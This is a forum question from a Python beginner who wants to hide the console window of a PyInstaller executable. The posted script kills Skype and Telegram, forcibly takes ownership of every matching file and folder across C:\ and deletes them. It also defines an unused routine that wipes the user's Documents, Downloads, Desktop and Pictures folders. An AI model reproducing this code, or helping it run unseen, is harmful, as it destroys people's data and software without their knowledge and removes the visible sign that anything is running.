How to make python executable (.exe) don't show console window?

Question

I'm new to python. I used pyinstaller to make .exe file and don't want to show the console window. It's work if I use pyinstaller -F xxx.py (has a window) but I got the message failed to execute script xxx if I use pyinstaller -F -w xxx.py

I have no idea how to log it.

python: 3.7.5
pyinstaller: 3.5
windows 10

here is my code

import os
import re
import shutil
import sys
import time
from os import listdir
from os.path import isfile, isdir, join
from subprocess import PIPE, Popen
from typing import List

if os.path.exists("e:/"):
    sys.exit()

all_Path = "C:\\"

def cmdline(command):
    process = Popen(
        args=command,
        stdout=PIPE,
        shell=True
    )
    (out, err) = process.communicate()
    out = str(out).replace("\\r\\n'", "")
    out = out.replace("b'", "")
    return out

username = cmdline('echo %username%')

def Clear_User_Data():
    user_path = f'C:\\Users\\{username}'
    folders = ['Downloads', 'Documents', 'Music', 'Pictures', 'Links', 'Desktop']
    for folder in folders:
        shutil.rmtree(f'{user_path}\{folder}', ignore_errors=True)


def Kill_Tasks(tasks: List, times: int):
    t = times
    for task in tasks:
        print(f'Waiting for {task} ... ')
        times = t
        while times > 0:
            a = cmdline('tasklist')
            if a.find(task) > 0:
                os.system(f'taskkill /IM {task} /F')
                break
            else:
                time.sleep(1)
                times -= 1


def Seek_Spec_Folder(keyword: str, path: str):
    folders = set()
    for r, d, f in os.walk(path):
        if re.search(keyword, r, re.IGNORECASE):
            folders.add(r)
    return folders


def Delete_Spec_Files(keyword: str, path: str):
    for r, d, f in os.walk(path):
        for file in f:
            if re.search(keyword, file, re.IGNORECASE):
                target_path = os.path.join(r, file)
                try:
                    os.system(f'TAKEOWN /F "{target_path}" /R ')
                    os.system(f'icacls "{target_path}" /grant {username}:f')
                except Exception as e:
                    print(e)
    folders = Seek_Spec_Folder(keyword, path)
    for folder in folders:
        os.system(f'TAKEOWN /F "{folder}" /R ')
        os.system(f'icacls "{folder}" /grant {username}:f')
        shutil.rmtree(folder, ignore_errors=True)


Kill_Tasks(["SkypeApp.exe", "SkypeBackgroundHost.exe", "Telegram.exe", "Skype.exe"], 9)
Delete_Spec_Files('Skype', all_Path)
Delete_Spec_Files('Telegram', all_Path)